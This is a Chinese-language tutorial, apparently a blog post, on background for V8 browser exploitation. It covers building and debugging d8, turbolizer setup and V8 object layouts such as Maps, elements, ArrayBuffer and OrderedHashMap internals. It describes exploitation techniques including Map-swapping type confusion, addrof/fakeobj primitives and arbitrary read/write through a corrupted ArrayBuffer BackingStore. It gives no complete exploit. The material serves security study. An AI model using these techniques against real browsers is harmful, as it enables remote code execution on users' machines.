背景知识
浏览器框架
它是⼀个多进程+IPC的程序, 不同的进程管理不同的内容,
browser process
: 主进程rander process
: 负责控制渲染内容GPU process
: 负责渲染内容utility process
: 标签页进程plugin process
: 插件进程
每个插件, 每个标签页都是单独的进程, 有属于自己的PID
JS 引擎
各浏览器对应的 js 引擎:
V8
是 chrome 的 JS Engine ,同时也是 Node.js 的 JS Engine 。V8调试接口非常丰富,基本上可以给你任何你想要的信息。- safari 的 js 引擎是
webkit
, 除了 safari , 很多 appstore 的程序也都用 webkit 。 - edge 以前用的是
chakracore
, 现在用v8
了。chakracore
几乎已经被淘汰了(代码量小,适合学习) firefox
用的是spidermonkey
JS引擎流水线机制
js 引擎(javascript engine): 处理⼀些 js 语⾔时, 通常是先把网页代码下载下来, 浏览器来解析, 浏览器解析 js 语
句, 达到指定的效果, 浏览器可以说是 js 语⾔的解释器.
parser
:- 将 js 源代码变成 AST(抽象语法树)
- 检查错误的语法
- 为生成 bytecode (字节码)做准备
interpreter
: 解释器, 可以理解成⼀个自定义的虚拟机(⼀个很大很大的 switch case 分支, 对每个 case 有不同的操作符)- 将 AST 转化为 Bytecode
- 解析执行 Bytecode
- 和
parser
可以组成⼀个完整的 JS Engine
JIT Compiler
(optimizing compiler
): Just In time编译器Interpreter
执行 bytecode 很慢, JIT 编译器用于优化"Hot Function"(被执行了很多次的函数, 很热门的函数)- 搜集函数调用时的实参类型(因为 js 是⼀个弱类型语言, 所以直接丢给
interpreter
解析时会出现大量分支) - 如果收集到了可以被 JIT 优化的代码, 就会被丢到 optmizing compiler 的分支中 让 JIT 做优化,如果后续突然参数类型不⼀样了, 那么就 deoptimize (去优化), 重新执行 bytecode . 然后 bytecode 又可以收集类型… 然后依次循环。
常见 JS 引擎架构
-
V8
(Chrome)
-
SpiderMonkey
(FireFox)
-
Chakra Core
(Edge)
-
Webkit
(safari)
相关资料
环境搭建
ubuntu 18.04
编译 v8
首先下载用于 Chromium
开发的工具 depot_tools
。这个工具用于 v8
的编译。
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
将 depot_tools
添加到环境变量 PATH
的末尾
export PATH=$PATH:<path to depot_tools>
挂好代理,进入到 depot_tools
。直接安装会 ninja
报错需要先将版本回退到 138bff28
** 并且将 DEPOT_TOOLS_UPDATE
设为 0 。之后更新 depot_tools
。
git reset --hard 138bff28
export DEPOT_TOOLS_UPDATE=0
gclient
出现以下界⾯说明更新成功
下载 v8
,这个时间比较长,下载完后目录下会多一个 v8
文件夹。
fetch v8
出现如下报错是因为之前 fetch 过,depot_tools
有相关记录,需要添加 --force
参数强制下载。
fetch --force v8
根据题目需求 git checkout
切换 v8
版本,然后 gclient sync -D
下载相关依赖,-D
会删除不需要的依赖。
cd v8
git checkout 7.6.303.28
gclient sync -D
如果 gclient sync
出现如下报错则尝试下面这条命令(貌似也不太行 )
gclient config https://chromium.googlesource.com/v8/v8
其实这个报错很有可能是修改了 v8
文件夹名称或移动目录导致的,因为每次 fetch v8
在 depot_tools
中都会有相关的记录,sync
需要这些记录 。
-
如果题目给的是一个 Chrome 浏览器那么首先安装浏览器然后再网址栏中输入
chrome://version
查看版本,例如:112.0.5615.87 (正式版本) (64 位) (cohort: Bypass)
打开 github 的 chrome 项目,搜索版本号并切换至相应版本。
然后在项目根目录下的DEPS
文件中查看V8
版本:
-
如果题目给了
diff
文件需要将 patch 到项目中。git apply ./oob.diff
之后安装相关依赖,如果遇到下载字体未响应问题需要添加 --no-chromeos-fonts
参数。(每次换版本都要运行,否则 gdb 插件的 job 功能不正常)
./build/install-build-deps.sh
编译 v8
,这里选的 release
版本。debug
版本改为 x64.debug
,32 为版本将 x64
改为 ia32
。如果调试漏洞的话, 最好选择 release
版本 因为 debug
版本可能会有很多检查。
./tools/dev/gm.py x64.release
另外如果出现路径错误需要切换到 ./tools/dev/
路径再进行编译。不过这样编译最终生成的 d8
在 tools/dev/out/x64.release
目录下。
完成后是这个样子
出现这个错误是因为 out
目录下的 x64.release
文件夹没有删。
编译生成的 d8
在 ./out/x64.release/d8
中。
调试 v8
在 ~/.gdbinit
添加 v8
的调试插件:
source /path/to/v8/tools/gdbinit
source /path/to/v8/tools/gdb-v8-support.py
常见参数:
--allow-natives-syntax
开启原生API (用的比较多)--trace-turbo
跟踪生成TurboFan IR--print-bytecode
打印生成的bytecode--shell
运行脚本后切入交互模式- 更多参数可以参考
--help
调试 js 脚本时可以采用如下命令:
gdb ./d8
r --allow-natives-syntax --shell ./exp.js
js中常见的⼀些调试技巧:
- 在js中写⼊断点:
%SystemBreak();
,如果不在调试模式的话, 程序直接中断, 如果在调试器中, 会被调试器识别到
并且断下来。 - 打印出对象的地址和对应的信息:
%DebugPrint(var_name);
- 调试时输入
job + DebugPrint打印的对象地址
可以打印出对象的结构。
安装 turbolizer
turbolizer
是一个可视化分析 JS 优化的工具,安装命令如下:
sudo apt install npm
cd /path/to/v8/tools/turbolizer
sudo npm install n -g
sudo n 16.20.0 # sudo n latest
sudo npm i
sudo npm run-script build
由于 Ubuntu18.04 默认的 node
版本过低,需要安装 16.20.0
版本。另外 sudo npm i
如果成功结果如下图:
最后需要启动一个 web 服务器,根据需要 8000 可以换成其它端口。
python -m SimpleHTTPServer 8000
编写一个 js 脚本:
%OptimizeFunctionOnNextCall
内置函数可以直接触发强行触发优化。
function add(a, b) {
return a + b;
}
//%OptimizeFunctionOnNextCall(add);
for (let i = 0; i < 10000000; i++) {
add(i, i + 1);
}
运行 js 脚本并使用 --trace-turbo
参数
./d8 --trace-turbo --allow-natives-syntax ./test.js
此时会生成如下文件:
在浏览器(最好使用 Chrome 浏览器,系统自带的火狐浏览器可能有问题。)中访问 http://127.0.0.1:8000/path/to/v8/tools/turbolizer/
(注意,这里的路径是相对于 python 启动的 web 服务的路径的相对路径而不是绝对路径) ,然后在其中打开该文件就可以进行分析。
ubuntu 20.04 及以上(推荐)
编译 v8
下载 depot_tools
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$PATH:<path to depot_tools>
cd depot_tools
gclient
下载、编译 v8
fetch v8
cd v8
gclient sync -D
./build/install-build-deps.sh
./tools/dev/gm.py x64.release
注意要确保 ninja-build
已安装。
apt install ninja-build
安装 turbolizer
sudo apt install npm
sudo npm install -g npm # 升级 npm 到最新版
cd /path/to/v8/tools/turbolizer
sudo npm install n -g
sudo n latest # 升级 nodejs 到最新版
sudo npm i
sudo npm run-script build
浏览器利用常用的class
数组 Array
- 数组是JS最常用的class之一,它可以存放任意类型的js object。
- 有一个
length
属性,可以通过下标来线性访问它的每一个元素。 - 有许多可以修改元素的接口。
- 当元素为object时,只保留指针。
ArrayBuffer 和 DataView
ArrayBuffer
ArrayBuffer
对象用来表示通用的、固定长度的原始二进制数据缓冲区。ArrayBuffer
不能直接操作,而是要通过类型数组对象或 DataView
对象来操作,它们会将缓冲区中的数据表示为特定的格式,并通过这些格式来读写缓冲区的内容。
-
语法
new ArrayBuffer(length)
-
参数
length
要创建的ArrayBuffer
的大小,单位为字节。
-
返回值:一个指定大小的
ArrayBuffer
对象,其内容被初始化为0
。
DataView
DataView
是一个可以从 ArrayBuffer
对象中读写多种数值类型的底层接口,使用它时,不用考虑不同平台的字节序问题。
-
语法
new DataView(buffer [, byteOffset [, byteLength]])
-
参数
buffer
:一个ArrayBuffer
或SharedArrayBuffer
对象,DataView
对象的数据源。byteOffset
(可选):此DataView
对象的第一个字节在buffer
中的偏移。如果未指定,则默认从第一个字节开始。byteLength
(可选):此DataView
对象的字节长度。如果未指定,则默认与buffer
的长度相同。
-
返回值:一个
DataView
对象,用于呈现指定的缓存区数据。你可以把返回的对象想象成一个二进制array buffer
的“解释器”——它知道如何在读取或写入时正确地转换字节码。这意味着它能在二进制层面处理整数与浮点转化、字节顺序等其他有关的细节问题。
举例
例如下面这段代码
var ab = new ArrayBuffer(0x100);
var dv = new DataView(ab);
dv.setUint32(0, 0xdeadbeef, true);
console.log(dv.getUint16(2, true));
%DebugPrint(dv);
%SystemBreak();
这段代码输出结果是 57005 ,即 0xdead 。
WASM(WebAssembly)
-
顾名思义,是Asm on the web 。但其实不是真正意义上的汇编,只是更加接近汇编。
-
常用接口有
WebAssembly.Module()
:创建一个新的 WebAssembly 模块对象。WebAssembly.Instance()
:创建一个新的 WebAssembly 实例对象。WebAssembly.Memory()
:创建一个新的 WebAssembly 内存对象。WebAssembly.Table()
:创建一个新的 WebAssembly 表格对象。
-
最重要的特点:可以在 Javascript Engine 的地址空间中导入一块可读可写可执行的内存页。
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {}); let f = wasm_mod.exports.main; %SystemBreak();
V8 的 object 通用结构
Object
可以拥有任意属性- 属性名可以是数字和字母的组合
- 名字为数字的属性被称作
element
,其他的被称作property
Hidden Class (Map)
Hidden Class
也被称作 Object Map
,简称 Map
。位于 V8 Object
的第一个 8 字节。
任何由 v8 gc
管理的 Js Object
,它的前 8 个字节(或者在 32 位上是前四个字节)都是⼀个指向 Map
的指针。
Map
中比较重要的字段是一个指向 DescriptorArray
的指针,里面包含有关name properties的信息,例如属性名和存储属性值的位置。
具有相同 Map
的两个 JS object
,就代表具有相同的类型(即具有以相同顺序命名的相同属性),比较 Map
的地址即可确定类型是否⼀致,同理,替换掉 Map
就可以进行类型混淆。
在一些利用中,可以通过伪造 Type
字段来伪造 Map
。
Properties
Properties
用于保持非数字索引的属性,分为 Inline Property
,Fast Properties
和 Dictionary Properties
。
Inline Property
即 in-object proterty
,存放在 object
本身,而不是在 Properties
指针指向的内存,需要 Descriptor Array
。
Fast Properties
Fast Properties
线性保存在 Properties
指针指向的内存中,需要 Descriptor Array
。
Dictionary Properties
Dictionary Properties
即 Slow Properties
,以哈希表的形式保存在 Properties
指针指向的内存中,不需要 Descriptor Array
。
Elements
Elements
用于保存数字索引的属性。
Packed Elements & Holey Elements
如果各个属性之间连续,那么可以直接开一个数组(下标从 0 开始)来表示 Elements
,如果有的下标没有对应的属性则数组中该下标对应的值为一个特殊值,此时这个 Elements
被称为 Holey Elements
。如果数组中每个下标都对应属性则这个 Elements
被称为 Packed Elements
。
例如下面这个脚本:
const a = ['a', 'b', 'c'];
%DebugPrint(a);
%SystemBreak();
delete a[1];
console.log(a[1]);
%SystemBreak();
a.__proto__ = {1: 'B', 2: "C"};
console.log(a[0]);
console.log(a[1]);
console.log(a[2]);
console.log(a[3]);
%SystemBreak();
调试结果如下:
0x37815f38bba9 <JSArray[3]>
pwndbg> job 0x37815f38bba9
0x37815f38bba9: [JSArray]
- map: 0x39d6446c3069 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x1b0fcc0517a1 <JSArray[0]>
- elements: 0x37815f38bb21 <FixedArray[3]> [PACKED_ELEMENTS (COW)]
- length: 3
- properties: 0x010c0d5c0c21 <FixedArray[0]> {
#length: 0x247fa62001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x37815f38bb21 <FixedArray[3]> {
0: 0x010c0d5c74b1 <String[#1]: a>
1: 0x010c0d5c7571 <String[#1]: b>
2: 0x1b0fcc05f4f9 <String[#1]: c>
}
...
pwndbg> job 0x37815f38bba9
0x37815f38bba9: [JSArray]
- map: 0x39d6446c30b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1b0fcc0517a1 <JSArray[0]>
- elements: 0x37815f38bbc9 <FixedArray[3]> [HOLEY_ELEMENTS]
- length: 3
- properties: 0x010c0d5c0c21 <FixedArray[0]> {
#length: 0x247fa62001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x37815f38bbc9 <FixedArray[3]> {
0: 0x010c0d5c74b1 <String[#1]: a>
1: 0x010c0d5c05b1 <the_hole>
2: 0x1b0fcc05f4f9 <String[#1]: c>
}
...
pwndbg> job 0x37815f38bba9
0x37815f38bba9: [JSArray]
- map: 0x39d6446ca599 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x37815f38bbf1 <Object map = 0x39d6446ca639>
- elements: 0x37815f38bbc9 <FixedArray[3]> [HOLEY_ELEMENTS]
- length: 3
- properties: 0x010c0d5c0c21 <FixedArray[0]> {
#length: 0x247fa62001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x37815f38bbc9 <FixedArray[3]> {
0: 0x010c0d5c74b1 <String[#1]: a>
1: 0x010c0d5c05b1 <the_hole>
2: 0x1b0fcc05f4f9 <String[#1]: c>
}
pwndbg> job 0x37815f38bbf1
0x37815f38bbf1: [JS_OBJECT_TYPE]
- map: 0x39d6446ca639 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x1b0fcc042091 <Object map = 0x39d6446c0229>
- elements: 0x37815f38bc29 <FixedArray[19]> [HOLEY_ELEMENTS]
- properties: 0x37815f38bd01 <NameDictionary[17]> {
}
- elements: 0x37815f38bc29 <FixedArray[19]> {
0: 0x010c0d5c05b1 <the_hole>
1: 0x1b0fcc05f551 <String[#1]: B>
2: 0x1b0fcc05f581 <String[#1]: C>
3-18: 0x010c0d5c05b1 <the_hole>
}
Fast Elements & Dictionary Elements
Fast Elements
和 Dictionary Elements
的区别是存储方式是线性保存还是词典保存。 Dictionary Elements
主要用于 Holey Element
特别多的情况。
常见类型结构
处理通用对象外,v8 还内置了一些常见类型。
在 v8 源码的 v8/src/objects/objects.h
中有对 v8 各种类型之间继承关系的描述。
Most object types in the V8 JavaScript are described in this file.
Inheritance hierarchy:
- Object
- Smi (immediate small integer)
- TaggedIndex (properly sign-extended immediate small integer)
- HeapObject (superclass for everything allocated in the heap)
- JSReceiver (suitable for property access)
- JSObject
- JSArray
- TemplateLiteralObject
- JSArrayBuffer
- JSArrayBufferView
- JSTypedArray
- JSDataView
- JSCollection
- JSSet
- JSMap
- JSCustomElementsObject (may have elements despite empty FixedArray)
- JSSpecialObject (requires custom property lookup handling)
- JSGlobalObject
- JSGlobalProxy
- JSModuleNamespace
- JSPrimitiveWrapper
- JSDate
- JSFunctionOrBoundFunctionOrWrappedFunction
- JSBoundFunction
- JSFunction
- JSWrappedFunction
- JSGeneratorObject
- JSMapIterator
- JSMessageObject
- JSRegExp
- JSSetIterator
- JSShadowRealm
- JSSharedStruct
- JSStringIterator
- JSTemporalCalendar
- JSTemporalDuration
- JSTemporalInstant
- JSTemporalPlainDate
- JSTemporalPlainDateTime
- JSTemporalPlainMonthDay
- JSTemporalPlainTime
- JSTemporalPlainYearMonth
- JSTemporalTimeZone
- JSTemporalZonedDateTime
- JSWeakCollection
- JSWeakMap
- JSWeakSet
- JSCollator // If V8_INTL_SUPPORT enabled.
- JSDateTimeFormat // If V8_INTL_SUPPORT enabled.
- JSDisplayNames // If V8_INTL_SUPPORT enabled.
- JSDurationFormat // If V8_INTL_SUPPORT enabled.
- JSListFormat // If V8_INTL_SUPPORT enabled.
- JSLocale // If V8_INTL_SUPPORT enabled.
- JSNumberFormat // If V8_INTL_SUPPORT enabled.
- JSPluralRules // If V8_INTL_SUPPORT enabled.
- JSRelativeTimeFormat // If V8_INTL_SUPPORT enabled.
- JSSegmenter // If V8_INTL_SUPPORT enabled.
- JSSegments // If V8_INTL_SUPPORT enabled.
- JSSegmentIterator // If V8_INTL_SUPPORT enabled.
- JSV8BreakIterator // If V8_INTL_SUPPORT enabled.
- WasmExceptionPackage
- WasmTagObject
- WasmGlobalObject
- WasmInstanceObject
- WasmMemoryObject
- WasmModuleObject
- WasmTableObject
- WasmSuspenderObject
- JSProxy
- FixedArrayBase
- ByteArray
- BytecodeArray
- FixedArray
- HashTable
- Dictionary
- StringTable
- StringSet
- CompilationCacheTable
- MapCache
- OrderedHashTable
- OrderedHashSet
- OrderedHashMap
- FeedbackMetadata
- TemplateList
- TransitionArray
- ScopeInfo
- SourceTextModuleInfo
- ScriptContextTable
- ClosureFeedbackCellArray
- FixedDoubleArray
- PrimitiveHeapObject
- BigInt
- HeapNumber
- Name
- String
- SeqString
- SeqOneByteString
- SeqTwoByteString
- SlicedString
- ConsString
- ThinString
- ExternalString
- ExternalOneByteString
- ExternalTwoByteString
- InternalizedString
- SeqInternalizedString
- SeqOneByteInternalizedString
- SeqTwoByteInternalizedString
- ConsInternalizedString
- ExternalInternalizedString
- ExternalOneByteInternalizedString
- ExternalTwoByteInternalizedString
- Symbol
- Oddball
- Context
- NativeContext
- Cell
- DescriptorArray
- PropertyCell
- PropertyArray
- InstructionStream
- AbstractCode, a wrapper around Code or BytecodeArray
- GcSafeCode, a wrapper around Code
- Map
- Foreign
- SmallOrderedHashTable
- SmallOrderedHashMap
- SmallOrderedHashSet
- SharedFunctionInfo
- Struct
- AccessorInfo
- AsmWasmData
- PromiseReaction
- PromiseCapability
- AccessorPair
- AccessCheckInfo
- InterceptorInfo
- CallHandlerInfo
- EnumCache
- TemplateInfo
- FunctionTemplateInfo
- ObjectTemplateInfo
- Script
- DebugInfo
- BreakPoint
- BreakPointInfo
- CallSiteInfo
- CodeCache
- PropertyDescriptorObject
- PromiseOnStack
- PrototypeInfo
- Microtask
- CallbackTask
- CallableTask
- PromiseReactionJobTask
- PromiseFulfillReactionJobTask
- PromiseRejectReactionJobTask
- PromiseResolveThenableJobTask
- Module
- SourceTextModule
- SyntheticModule
- SourceTextModuleInfoEntry
- StackFrameInfo
- FeedbackCell
- FeedbackVector
- PreparseData
- UncompiledData
- UncompiledDataWithoutPreparseData
- UncompiledDataWithPreparseData
- SwissNameDictionary
Formats of Object::ptr_: Smi: [31 bit signed int] 0
HeapObject: [32 bit direct pointer] (4 byte aligned) | 01
Smi
所有不超过 0x7FFFFFFF 的整数都以 Smi
的形式存储。
- 在 32 位上可以表示有符号的 31 位的整数,通过右移一位可以获得原始值。
- 在 64 位上可以表示有符号的32位的整数,通过右移 32 位可以获得原始值
HeapObject 指针
最低位为 1 表示指向 HeapObject
的指针。
- 32 位
- 64位
Heap Number
表示不能在 Smi
范围内表⽰的整数,均以 double 值的形式保存在 Heap Number
的 Value
里。
String
保存字符串对象,具体结构各版本之间可能存在差异。
JSArray
继承自 Object
,HeapObject
,JSReceiver
。
v8 的 JSArray
遵循图中格的变化,从左到右,从上到下,不可逆。
规律:
- 存在
Smi
和浮点数则都用浮点数表示 - 存在
Object
类型则都用Object
类型表示。 elements
之间空隙过大转为字典存储。
在实际的漏洞利用中,我们常构造出 double array 和 obj array 的类型混淆,从而构建 addrof 和 fakeobj 原语。
JSArrayBuffer
JSArrayBuffer
,顾名思义,就是保存有⼀个被称作 BackingStore
的 buffer 的对象。
在 V8 中,对象通常被存放在由 V8 GC 管理的 mapped 区域,然而 BackingStore
是⼀个不被 V8 GC 管理的区域,(事实上它在 Chrome 里是由 PartitionAlloc 来管理,在 d8 里则是用 ptmalloc 来模拟管理),此外,由于它不是由 GC 管理的 HeapObject
,因 此指向 BackingStore
的指针不是 Tagged Value
(末尾不能为1)。
- 虽然在
ArrayBuffer
中描述了大小,但如果将此值重写为较大的值,则可以允许读取和写入的长度,超出BackingStore
数组的范围。
同样,如果也可以重写BackingStore
指针,则可以读取和写入任意内存地址,这些是在 exploit 中常用的方法。
JSTypedArray
由于 JSArrayBuffer
实际上只是持有 BackingStore
指针的对象,换句话说,它只是⼀个 buffer ,所以在 js 的设计⾥,对 BackStore
的读写需要依赖于 TypedArray
或者 DataView
。
在漏洞利用时通常使用 JSTypedArray
进行整型和浮点数类型的转换。
var ab = new ArrayBuffer(0x8);
var f64 = new Float64Array(ab);
var i64 = new BigUint64Array(ab);
function d2u(val) {
f64[0] = val;
return i64[0];
}
function u2d(val) {
i64[0] = val;
return f64[0];
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
// let val = "0x1145141919810";
let val = 0x1145141919810n;
print(u2d(val));
print(hex(d2u(u2d(val))));
// 1.501041597677047e-309
// 0x0001145141919810
JSDataView
也是用来读写 ArrayBuffer
的 BackingStore
的内容的对象,在 exploit 里常用作最后的任意地址读写原语的构造。
利用 JDataView
实现的类型转换:
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
let val = 0x1145141919810n;
print(u2d(val));
print(hex(d2u(u2d(val))));
JSMap
JSMap
是一种可以按照添加顺序遍历其中元素的 Hash Map ,即 OrderedHashMap
。在 V8 漏洞利用中常与 Hole 类型漏洞结合使用。
var map = new Map();
以 9.5.172
版本 V8 为例,OrderedHashMap
的查看方式如下:
这里解释一下各个字段的含义:
FixedArray length
:是 V8 在访问OrderedHashMap
时会将整个OrderedHashMap
看作一个Array
,这个就是Array
的长度。即除去Map
和FixedArray length
外的部分的长度的字节数除以 4 。elements
:Map
中的key
的数量。delete
:Map
中删除的元素数量,也就是当前Map
中Hole
的数量。buckets(smi)
:后面buckets(HashTable)
的长度,通常是 2 的整数次幂。capacity
:elements
区域能存放的Entry
的数量。capacity
是buckets
乘 2 计算出来的,在OrderedHashMap
的内存区域中也没有体现。buckets(HashTable)
:哈希表,在ComputeUnseededHash(key) & (buckets - 1)
计算出的位置上存放键值对在elements
中的下标(实际是elements
中的下标索引的一个单向链表)。该表默认填充为 -1 。elements
:按照加入的顺序存放所有键值对组成的Entry
。该表默认填充为undefine
。
注意:在这个版本的 v8 中 32 位的 smi 不是左移 32 位而是左移 1 位,占用 4 字节。例如 1 表示为 0x00000002,-1 表示为 0xFFFFFFFE 。
OrderedHashMap
在内存中的分布大致如下图所示,其中每个格子的大小为 4 字节。
set
set(key, value)
是 Map
中用来设置键值对的方法,具体接口定义如下:
TF_BUILTIN(MapPrototypeSet, CollectionsBuiltinsAssembler)
这里假设 key
的类型为 smi
,首先 TryLookupOrderedHashTableIndex
查找 key
对应的 Entry
,从代码中可以看到 JSMap
使用的哈希函数 ComputeUnseededHash
。程序最终通过 FindOrderedHashTableEntry
查找 key
对应的 Entry
。
TNode<Word32T> CollectionsBuiltinsAssembler::ComputeUnseededHash(
TNode<IntPtrT> key) {
// See v8::internal::ComputeUnseededHash()
TNode<Word32T> hash = TruncateIntPtrToInt32(key);
hash = Int32Add(Word32Xor(hash, Int32Constant(0xFFFFFFFF)),
Word32Shl(hash, Int32Constant(15)));
hash = Word32Xor(hash, Word32Shr(hash, Int32Constant(12)));
hash = Int32Add(hash, Word32Shl(hash, Int32Constant(2)));
hash = Word32Xor(hash, Word32Shr(hash, Int32Constant(4)));
hash = Int32Mul(hash, Int32Constant(2057));
hash = Word32Xor(hash, Word32Shr(hash, Int32Constant(16)));
return Word32And(hash, Int32Constant(0x3FFFFFFF));
}
template <typename CollectionType>
void CollectionsBuiltinsAssembler::FindOrderedHashTableEntryForSmiKey(
TNode<CollectionType> table, TNode<Smi> smi_key, TVariable<IntPtrT>* result,
Label* entry_found, Label* not_found) {
const TNode<IntPtrT> key_untagged = SmiUntag(smi_key);
const TNode<IntPtrT> hash =
ChangeInt32ToIntPtr(ComputeUnseededHash(key_untagged));
CSA_ASSERT(this, IntPtrGreaterThanOrEqual(hash, IntPtrConstant(0)));
*result = hash;
FindOrderedHashTableEntry<CollectionType>(
table, hash,
[&](TNode<Object> other_key, Label* if_same, Label* if_not_same) {
SameValueZeroSmi(smi_key, other_key, if_same, if_not_same);
},
result, entry_found, not_found);
}
template <typename CollectionType>
void CollectionsBuiltinsAssembler::TryLookupOrderedHashTableIndex(
const TNode<CollectionType> table, const TNode<Object> key,
TVariable<IntPtrT>* result, Label* if_entry_found, Label* if_not_found) {
...
BIND(&if_key_smi);
{
FindOrderedHashTableEntryForSmiKey<CollectionType>(
table, CAST(key), result, if_entry_found, if_not_found);
}
...
}
TryLookupOrderedHashTableIndex<OrderedHashMap>(
table, key, &entry_start_position_or_hash, &entry_found, ¬_found);
FindOrderedHashTableEntry
函数接口如下:
template <typename CollectionType>
void CollectionsBuiltinsAssembler::FindOrderedHashTableEntry(
const TNode<CollectionType> table, const TNode<IntPtrT> hash,
const std::function<void(TNode<Object>, Label*, Label*)>& key_compare,
TVariable<IntPtrT>* entry_start_position, Label* entry_found,
Label* not_found)
在 FindOrderedHashTableEntry
首先计算出 Key
对应 HashTable
中的下标,这里是将前面计算出的 key
的哈希值与上 number_of_buckets
,即 ComputeUnseededHash(key) & (buckets - 1)
。最后的 first_entry
为 HashTable
该位置上的值。
const TNode<IntPtrT> number_of_buckets =
SmiUntag(CAST(UnsafeLoadFixedArrayElement(
table, CollectionType::NumberOfBucketsIndex())));
const TNode<IntPtrT> bucket =
WordAnd(hash, IntPtrSub(number_of_buckets, IntPtrConstant(1)));
const TNode<IntPtrT> first_entry = SmiUntag(CAST(UnsafeLoadFixedArrayElement(
table, bucket, CollectionType::HashTableStartIndex() * kTaggedSize)));
之后循环遍历链表,直到找到 key
对应的 entry
或者找到 CollectionType::kNotFound
。
这里注意到在遍历链表时有检查,因此在漏洞利用时应避免遍历链表的操作,即 HashTable[ComputeUnseededHash(key) & (buckets - 1)]
应该为 -1 。
// Walk the bucket chain.
TNode<IntPtrT> entry_start;
Label if_key_found(this);
{
TVARIABLE(IntPtrT, var_entry, first_entry);
Label loop(this, {&var_entry, entry_start_position}),
continue_next_entry(this);
Goto(&loop);
BIND(&loop);
// If the entry index is the not-found sentinel, we are done.
GotoIf(IntPtrEqual(var_entry.value(),
IntPtrConstant(CollectionType::kNotFound)),
not_found);
// Make sure the entry index is within range.
CSA_ASSERT(
this,
UintPtrLessThan(
var_entry.value(),
SmiUntag(SmiAdd(
CAST(UnsafeLoadFixedArrayElement(
table, CollectionType::NumberOfElementsIndex())),
CAST(UnsafeLoadFixedArrayElement(
table, CollectionType::NumberOfDeletedElementsIndex()))))));
// Compute the index of the entry relative to kHashTableStartIndex.
entry_start =
IntPtrAdd(IntPtrMul(var_entry.value(),
IntPtrConstant(CollectionType::kEntrySize)),
number_of_buckets);
// Load the key from the entry.
const TNode<Object> candidate_key = UnsafeLoadFixedArrayElement(
table, entry_start,
CollectionType::HashTableStartIndex() * kTaggedSize);
key_compare(candidate_key, &if_key_found, &continue_next_entry);
BIND(&continue_next_entry);
// Load the index of the next entry in the bucket chain.
var_entry = SmiUntag(CAST(UnsafeLoadFixedArrayElement(
table, entry_start,
(CollectionType::HashTableStartIndex() + CollectionType::kChainOffset) *
kTaggedSize)));
Goto(&loop);
}
BIND(&if_key_found);
*entry_start_position = entry_start;
Goto(entry_found);
如果在 Map
中已经存在待加入的 key
了,则调用 StoreFixedArrayElement
更新 Entry
中的 value
,这里的 entry_start_position_or_hash
即前面 TryLookupOrderedHashTableIndex
找到的 Entry
在 elements
中的下标(实际上是相当于 table
的偏移)。
BIND(&entry_found);
// If we found the entry, we just store the value there.
StoreFixedArrayElement(table, entry_start_position_or_hash.value(), value,
UPDATE_WRITE_BARRIER,
kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
OrderedHashMap::kValueOffset));
Return(receiver);
之后特判了 entry_start_position_or_hash
不是 hash code 的情况(??)
Label no_hash(this), add_entry(this), store_new_entry(this);
BIND(¬_found);
{
// If we have a hash code, we can start adding the new entry.
GotoIf(IntPtrGreaterThan(entry_start_position_or_hash.value(),
IntPtrConstant(0)),
&add_entry);
// Otherwise, go to runtime to compute the hash code.
entry_start_position_or_hash = SmiUntag(CallGetOrCreateHashRaw(CAST(key)));
Goto(&add_entry);
}
之后判断是否满足 elements + deletes < buckets << 1
,如果不满足则增加 Map
的容量。这就是为什么调试的时候 OrderedHashMap
的位置一直在变。
BIND(&add_entry);
TVARIABLE(IntPtrT, number_of_buckets);
TVARIABLE(IntPtrT, occupancy);
TVARIABLE(OrderedHashMap, table_var, table);
{
// Check we have enough space for the entry.
number_of_buckets = SmiUntag(CAST(UnsafeLoadFixedArrayElement(
table, OrderedHashMap::NumberOfBucketsIndex())));
STATIC_ASSERT(OrderedHashMap::kLoadFactor == 2);
const TNode<WordT> capacity = WordShl(number_of_buckets.value(), 1);
const TNode<IntPtrT> number_of_elements = SmiUntag(
CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())));
const TNode<IntPtrT> number_of_deleted = SmiUntag(CAST(LoadObjectField(
table, OrderedHashMap::NumberOfDeletedElementsOffset())));
occupancy = IntPtrAdd(number_of_elements, number_of_deleted);
GotoIf(IntPtrLessThan(occupancy.value(), capacity), &store_new_entry);
// We do not have enough space, grow the table and reload the relevant
// fields.
CallRuntime(Runtime::kMapGrow, context, receiver);
table_var =
LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
number_of_buckets = SmiUntag(CAST(UnsafeLoadFixedArrayElement(
table_var.value(), OrderedHashMap::NumberOfBucketsIndex())));
const TNode<IntPtrT> new_number_of_elements = SmiUntag(CAST(LoadObjectField(
table_var.value(), OrderedHashMap::NumberOfElementsOffset())));
const TNode<IntPtrT> new_number_of_deleted = SmiUntag(CAST(LoadObjectField(
table_var.value(), OrderedHashMap::NumberOfDeletedElementsOffset())));
occupancy = IntPtrAdd(new_number_of_elements, new_number_of_deleted);
Goto(&store_new_entry);
}
之后调用 StoreOrderedHashMapNewEntry
将新的 Entry
添加到 elements
中。
BIND(&store_new_entry);
